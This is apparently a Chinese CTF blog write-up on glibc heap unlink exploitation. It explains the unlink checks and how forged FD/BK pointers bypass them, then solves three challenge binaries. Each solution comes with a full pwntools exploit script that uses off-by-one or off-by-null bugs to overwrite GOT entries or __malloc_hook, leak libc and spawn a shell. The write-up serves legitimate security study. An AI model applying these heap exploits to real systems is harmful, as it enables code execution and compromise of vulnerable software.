注意
本文最后更新于 2024-02-11,文中内容可能已过时。
我看的 unlink 相关文章很多,但是最通俗易懂的还是 https://xz.aliyun.com/t/5748 ,这位师傅所写的所有文章都很好而且能够让人明白的理解。
堆块在释放时会有一系列的检查,可以与源码进行对照。在这里,将对一些关键的地方进行说明。为了使说明看起来简洁一些,就不展示源码了。
释放(free)时首先会检查地址是否对齐,并根据 size 找到下一块的位置,检查其 p 标志位是否置为 1.
检查释放块的 size 是否符合 fast bin 的大小区间,若是则直接放入 fast bin,并保持下一堆块中的 p 标志位为 1 不变(这样可以避免在前后块释放时进行堆块合并,以方便快速分配小内存),否则进入第 3 步。
若本堆块 size 域中的 p 标志位为 0(前一堆块处于释放状态),则利用本块的 pre_size 找到前一堆块的开头,将其中 bin 链表中摘除(unlink),并合并这两个块,得到新的释放块。
根据 size 找到下一堆块,如果是 top chunk,则直接合并到 top chunk 中去,直接返回。否则检查后一堆块是否处于释放阶段(通过检查下一堆块的下一堆块的 p 标志位是否为 0)。将其从 bin 链表中摘除(unlink),并合并这两块,得到新的释放块。
将上述合并得到的最终堆块放入 unsorted bin 中去。
这里有以下几个值得注意的点:
合并时无论向前向后都只合并相邻的堆块,不在往更前或者更后继续合并。
释放检查时,p 标志位很重要,大小属于 fast bin 的堆块在释放时不进行合并,会直接被放进 fast bin 中。在 malloc_consolidate 时会清除 fast bin 中对应的堆块下一块的 p 标志位,方便对其进行合并。
最基本的 unlink 定义如下:
1
2
3
4
5
6
#define unlink(P, BK, FD) {
FD = P->fd;
BK = p->bk;
FD->bk = BK;
BK->fd = FD;
}
上述代码直接进行了如下赋值:
1
2
*(fd + 24) = bk
*(bk + 16) = fd
新式的 unlink 中加入了更多的限制条件,具体参见 unlink 的利用方法。
现在来说说我的理解。
unlink 的目的
当目前要 free 的位置旁边有空闲的块,则考虑 unlink 把将要 free 的块,和相邻空闲的块合并。
unlink 的类型
1.向前合并,也就是上面那块是空闲的,我们要 free 后面那一块
2.向后合并,也就是下面那一块是空闲的,我们要 free 前面那一块。
unlink 的检测
在早期的版本是没有检测的,具体哪个版本我也不知道,但是我知道是早于 libc2.23 的,也就是大部分的比赛都是需要绕过检测的。
更新:libc-2.26 中新增了 unlink 对 chunk_size == next->prev->chunk_size
的检查,以对抗单字节溢出。但是在 Ubuntu16.04 的 libc-2.23 中也打了相应的补丁,所以我们比赛常见的 Ubuntu16.04 版本的 libc2.23 也需要绕过这个限制
检测的内容:
1
2
3
4
5
FD = P->fd
BK = P->bk
//条件
FD->bk == P
BK->fd == P
如果上述条件无法达到则报错,如果是一个没有被破坏的双向链表,则上述的检测内容是显然成立的,但是如果是被我们篡改的链表,也就是早期的版本中,BK 和 FD 直接分别对应加了偏移的要写地址和要修改的内容,那么就会报错了。
现在版本的绕过方法就是,通过程序储存的堆栈指针的那个数组,那个数组的内容中是存在 P 的指针的。
那么我们分别修改
1
2
3
//ptr 是储存 P 指针的地址
FD = ptr - 0x18
BK = ptr - 0x10
就可以成功的绕过检测,然后检测后 unlink 执行以下代码
1
2
FD->bk = BK
BK->fd = FD
前者对应,
1
2
*(ptr - 0x18 + 0x18) = ptr - 0x10
*(ptr - 0x10 + 0x10) = ptr - 0x18
两者覆盖到了同一个位置 ptr,且内容最终覆盖为 ptr - 0x18,这样我们就覆盖了原来拿来存放 P 的指针的位置。
这样我们再对原来的位置进行修改,就等同于可以读写 ptr - 0x18 的位置了,这样我们再次覆盖 ptr 的内容为我们想要修改的地址,这样我们就可以泄露地址并且 getshell。
unlink 的利用
基础结构:
1
2
3
4
5
6
7
8
9
10
11
12
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
由于 size 是按照 0x10 对其的,所以 size 的后三个字节用于其他内容储存,分别对应:
NON_MAIN_ARENA 是否属于主线程 0 属于 1 不属于
IS_MAPPED 是否由 mmap 分配
PREV_INUSE 记录前一个 chunk 块是否被分配
执行原理:
当我们要 free 的时候,堆管理器通过检测
向前合并:当前 size 位中的最低位(PREV_INUSE) 向后合并:下下个 heap 的 size 位中的最低位(PREV_INUSE)
来判定前一个 chunk 块是否被分配。
如果没被分配,会通过 prev_size 的内容,然后计算出前(后)一个块的指针,从而访问他们对应的 FD 和 BK,并且对前(后)一个块进行 unlink 操作。 总结:
检测是否可以向前或者向后合并 通过 prev_size 计算出空闲的块的指针 并加上空闲的块的 size,如果与 top_chunk 相邻,那还要和 top_chunk 合并 对空闲的块进行 unlink 利用方式简单描述:
修改 prev_size 修改 PREV_INUSE free -> unlink 利用方式具体描述:
我认为向前合并更容易利用一些,如果要向后合并则需要控制下下块的 PREV_INUSE。
所以我这里具体的讲向前合并的方法
add(0x88) #记为 a add(0x88) #记为 b FD = ptr - 0x18, BK = ptr - 0x10 修改 a 的内容,p64(0) + p64(0x88 - 0x10) + p64(FD) + p64(BK), 这个 size 应该是 size - 0x10,但是如果这里填写 p64(0),也不会报错(原因不明)
前者的原因是在 pool 数组里面存储的对应的 ptr 正好是和实际的指针相差 0x10(从数据段开始,FD 的位置),这相差的字节就是我们可以用于欺骗的点,我们欺骗系统 size 为 size - 0x10,并且对应的数据结构也从不可控制的位置转移到了可控制的位置(在原来的 FD 写入 prev_size,原来的 BK 写入 size) 修改 b 的 prev_size,p64(0x80)。系统根据此来确定前一个 chunk 的指针,也就是如果我们从真实的长度,0x90 变成 0x80,对应的指针也往后了 0x10。(这一步通常和上面的步骤一起写入,因为这一块虽是 b 的结构内容,但事实上在 a 没被 free 的时候是没有意义的,为了节省空间,这一块也就成为了 a 的内容,可以被 a 所控制) 修改 b 的 PREV_INUSE,修改为 0,如果有 off by one 或者堆溢出,则这一步也是和上面的一起 free(b) -> unlink(a) -> *ptr = ptr - 0x18 题目解析
UNCTF2020 baby_heap:
baby_heap 这道题目就是可以用 unlink 来做,这道题有 off by one 的漏洞,可以覆盖到下一个位的内容,所以我们可以利用这个多一位的内容,修改到 b 的 PREV_INUSE,如果是 off by null,那么可以创建(0xF8 = 0x100 - 0x8)的 size,使得 00 正好可以覆盖掉原来的 01,使得(01 10) -> (00 10),也达到了控制 PREV_INUSE 的目的。
其他条件都是正常功能可以达到的。不过值得一提的是,这道题 fastbin attack 是不可以的,因为题目通过 mallopt(1, 0);把 fastbin 关掉了;
其次因为没有 show 的功能(未实现),所以这道题拿不到 libc 的地址,但是这道题有后门函数,所以我们可以直接利用后门函数 getshell。
解析总结:
1.heap overflow + any size(unsorted bin) => unlink
2.off by one + any size(unsorted bin) => unlink
3.off by null + size:0xF8 => unlink
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# -*- coding: utf-8 -*-
from pwn import *
r = process('./pwn')
#r = remote('node2.hackingfor.fun', 36705)
elf = ELF('./pwn')
context.log_level = "debug"
def add_note(size):
r.sendlineafter(">> ", "1")
r.sendlineafter("size?", str(size))
r.sendlineafter("content?", "a")
def delete_note(idx):
r.sendlineafter(">> ", "2")
r.sendlineafter("index ?", str(idx))
def change_note(idx, content):
r.sendlineafter(">> ", "4")
r.sendlineafter("index ?", str(idx))
r.sendafter("what is your new content ?", content)
ptr = 0x0000000000602160
shell = 0x000000000040097F
FD = ptr - 0x18
BK = ptr - 0x10
add_note(0x88) #91
add_note(0x88) #91
#gdb.attach(r)
change_note(0, p64(0) + p64(0x81) + p64(FD) + p64(BK) + 'a' * (0x88 - 0x20 - 0x8) + p64(0x80) + '\x90')
delete_note(1)
change_note(0, p64(0) * 3 + p64(elf.got['free']))
change_note(0, p64(shell))
delete_note(0)
r.interactive()
*CTF level8-unlink:
这道题目和上面一道题目的区别在于,这一道题目是 off by null,而且这一道题还没有 shell 函数,这意味着难度大大的增加。也更加像一个正常的程序了,相比上一道题目给出的莫名奇妙的 +1,这道题目 off by null 显得更加自然。这一道题目也没有 show 相关的函数,所有我们需要 leak libc。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
void __fastcall __noreturn main ( __int64 a1 , char ** a2 , char ** a3 )
{
int v3 ; // eax
setbuf ( stdin , 0LL );
setbuf ( stdout , 0LL );
setbuf ( stderr , 0LL );
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
menu ();
v3 = read_int ();
if ( v3 != 2 )
break ;
edit_note ();
}
if ( v3 > 2 )
break ;
if ( v3 != 1 )
goto LABEL_13 ;
add_note ();
}
if ( v3 != 3 )
{
if ( v3 == 4 )
exit ( 0 );
LABEL_13 :
puts ( "em?" );
exit ( 0 );
}
delete_note ();
}
}
int edit_note ()
{
unsigned int v1 ; // [rsp+Ch] [rbp-4h]
printf ( "Input your id:" );
v1 = read_int ();
if ( v1 > 0xF || ! ptr [ v1 ] )
return puts ( "Are u a hacker?" );
printf ( "Content:" );
return ( unsigned __int64 ) read_content (( __int64 ) ptr [ v1 ], size [ v1 ]);
}
int add_note ()
{
int result ; // eax
int i ; // [rsp+8h] [rbp-8h]
int v2 ; // [rsp+Ch] [rbp-4h]
for ( i = 0 ; i <= 15 && ptr [ i ]; ++ i )
;
if ( i == 16 )
return puts ( "Full!" );
printf ( "Size:" );
v2 = read_int ();
if ( v2 > 512 )
v2 = 512 ;
ptr [ i ] = malloc ( v2 );
result = i ;
size [ i ] = v2 ;
return result ;
}
int delete_note ()
{
int result ; // eax
unsigned int v1 ; // [rsp+Ch] [rbp-4h]
printf ( "Input your id:" );
v1 = read_int ();
if ( v1 > 0xF )
return puts ( "Are u a hacker?" );
free ( ptr [ v1 ]);
ptr [ v1 ] = 0LL ;
result = v1 ;
size [ v1 ] = 0 ;
return result ;
}
漏洞就出现在 edit_note 中的 read_content 函数中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
_BYTE * __fastcall read_content ( __int64 ptr , int len )
{
int v2 ; // eax
_BYTE * result ; // rax
char buf ; // [rsp+13h] [rbp-Dh]
int v5 ; // [rsp+14h] [rbp-Ch]
unsigned __int64 v6 ; // [rsp+18h] [rbp-8h]
v6 = __readfsqword ( 0x28u );
v5 = 0 ;
while ( v5 < len )
{
read ( 0 , & buf , 1uLL );
if ( buf == '\n' )
break ;
v2 = v5 ++ ;
* ( _BYTE * )( ptr + v2 ) = buf ;
}
result = ( _BYTE * )( v5 + ptr );
* result = 0 ; // off by null
return result ;
}
函数读取到\n 截止,但是最后在末尾赋值了一个 00。于是我们就可以利用这个进行 unlink,达到任意写的目的,但是目前没有 show 函数也无法 leak libc,所以只能手动创造 show 的机会,就可以把 free 函数改成 puts 函数,然后执行 free 函数的时候就等价执行了,put 输出了对应的内容。我这里采用的方法就是输出了 got 表中 puts 的位置。达到 leak 的目的,题目中给出了 libc 的数据,但是我们这里可以用搜索特征的方式直接利用。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
r = process ( './level8-unlink' )
elf = ELF ( './level8-unlink' )
#r = remote('pwn.sixstars.team', 22508)
context . log_level = "debug"
def add_note ( size ):
r . sendlineafter ( ">> " , "1" )
r . sendlineafter ( "Size:" , str ( size ))
def edit_note ( idx , content ):
r . sendlineafter ( ">> " , "2" )
r . sendlineafter ( "Input your id:" , str ( idx ))
r . sendafter ( "Content:" , content )
def delete_note ( idx ):
r . sendlineafter ( ">> " , "3" )
r . sendlineafter ( "Input your id:" , str ( idx ))
add_note ( 0x88 )
add_note ( 0xF8 )
ptr = 0x6020C0
FD = ptr - 0x18
BK = ptr - 0x10
edit_note ( 0 , p64 ( 0 ) + p64 ( 0x81 ) + p64 ( FD ) + p64 ( BK ) + 'a' * ( 0x88 - 0x20 - 0x8 ) + p64 ( 0x80 ))
delete_note ( 1 )
edit_note ( 0 , p64 ( 0 ) * 3 + p64 ( elf . got [ 'free' ]) + p64 ( elf . got [ 'puts' ]) + ' \n ' )
edit_note ( 0 , p64 ( elf . plt [ 'puts' ])[: - 1 ] + ' \n ' )
delete_note ( 1 )
puts_addr = u64 ( r . recv ( 6 ) . ljust ( 8 , ' \x00 ' ))
print "puts_addr:" + hex ( puts_addr )
libc = LibcSearcher ( 'puts' , puts_addr )
libc_base = puts_addr - libc . dump ( 'puts' )
print "libc_base:" + hex ( libc_base )
system_addr = libc . dump ( 'system' ) + libc_base
edit_note ( 0 , p64 ( system_addr )[: - 1 ] + ' \n ' )
add_note ( 0x88 )
#gdb.attach(r)
edit_note ( 1 , '$0' + ' \n ' )
delete_note ( 1 )
r . interactive ()
这里需要注意的是:
写入的 00 在 got 表中容易把其他位置的数据搞坏,但是我们知道 libc 地址中实际上是有两位 00 的,所以我们可以少写一位 00,并用\n 来补上,当数据写入的时候会把\n 替换成\x00,这样就达到了不破坏其他位置的目的。 $0 <=> sh <=> /bin/sh 如果 got 表不能改写,那么可以考虑使用__free_hook *CTF level7-offbynull:
这道题目,是开了全保护的,所以不能直接利用 ptr 来 unlink,也不能改写 got 表。
思路是:
利用 unsorted bin leak 泄露 libc 地址 夹心饼攻击(house of einherjar),伪造 prev_size,使其向前跨越两个堆块,第一个堆块正常 free,第二堆块不变化,伪造 prev_size,让堆管理器认为 size 包含了两个堆块。当 free 第三个块的时候,会 unlink 第一个块(size 包含了第二个),这时候重新申请,就又得到了第二个堆块的控制权,同时之前申请的第二个堆块也未被使用。
这正是 ctf-wiki 中 Heap-based Off-By-One 中利用思路中的第二条,这里粘贴其中内容方便阅读。 溢出字节为可控制任意字节:通过修改大小造成块结构之间出现重叠,从而泄露其他块数据,或是覆盖其他块数据。也可使用 NULL 字节溢出的方法
溢出字节为 NULL 字节:在 size 为 0x100 的时候,溢出 NULL 字节可以使得 prev_in_use 位被清,这样前块会被认为是 free 块。
这时可以选择使用 unlink 方法(见 unlink 部分)进行处理。 另外,这时 prev_size 域就会启用,就可以伪造 prev_size ,从而造成块之间发生重叠。此方法的关键在于 unlink 的时候没有检查按照 prev_size 找到的块的大小与 prev_size 是否一致。 最新版本代码中,已加入针对 2 中后一种方法的 check ,但是在 2.28 前并没有该 check 。
所以我们 libc2.23 是可以利用的
leak 部分代码在 https://blog.wjhwjhn.com/archives/86/ 有详细解释
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
#r = process('./level7-offbynull')
r = remote ( 'pwn.sixstars.team' , 22507 )
context . log_level = "debug"
def add_note ( size ):
r . sendlineafter ( ">> " , "1" )
r . sendlineafter ( "Size:" , str ( size ))
def show_note ( idx ):
r . sendlineafter ( ">> " , "2" )
r . sendlineafter ( "Input your id:" , str ( idx ))
def edit_note ( idx , content ):
r . sendlineafter ( ">> " , "3" )
r . sendlineafter ( "Input your id:" , str ( idx ))
r . sendafter ( "Content:" , content )
def delete_note ( idx ):
r . sendlineafter ( ">> " , "4" )
r . sendlineafter ( "Input your id:" , str ( idx ))
#leak
add_note ( 0x88 ) #91
add_note ( 0x88 ) #91
delete_note ( 0 )
add_note ( 0x8 )
show_note ( 0 )
malloc_hook_addr = u64 (( r . recvuntil ( ' \n ' )[ - 7 : - 1 ]) . ljust ( 8 , ' \x00 ' )) - 0xE8
libc = LibcSearcher ( '__malloc_hook' , malloc_hook_addr )
libc_base = malloc_hook_addr - libc . dump ( '__malloc_hook' )
delete_note ( 0 )
delete_note ( 1 )
add_note ( 0x88 ) #0
add_note ( 0x68 ) #1
add_note ( 0xf8 ) #2
add_note ( 0x18 ) #3
delete_note ( 0 )
edit_note ( 1 , 'a' * 0x60 + p64 ( 0x70 + 0x90 ))
delete_note ( 2 )
#gdb.attach(r)
add_note ( 0x88 )
add_note ( 0x68 ) #1 == 2
delete_note ( 1 )
edit_note ( 2 , p64 ( malloc_hook_addr - 0x23 ) + ' \n ' )
add_note ( 0x68 ) #1
one = [ 0x45216 , 0x4526a , 0xf02a4 , 0xf1147 ]
one_gadget = libc_base + one [ 2 ]
add_note ( 0x68 ) #4
edit_note ( 4 , 'a' * 0x13 + p64 ( one_gadget ) + ' \n ' )
delete_note ( 4 )
r . interactive ()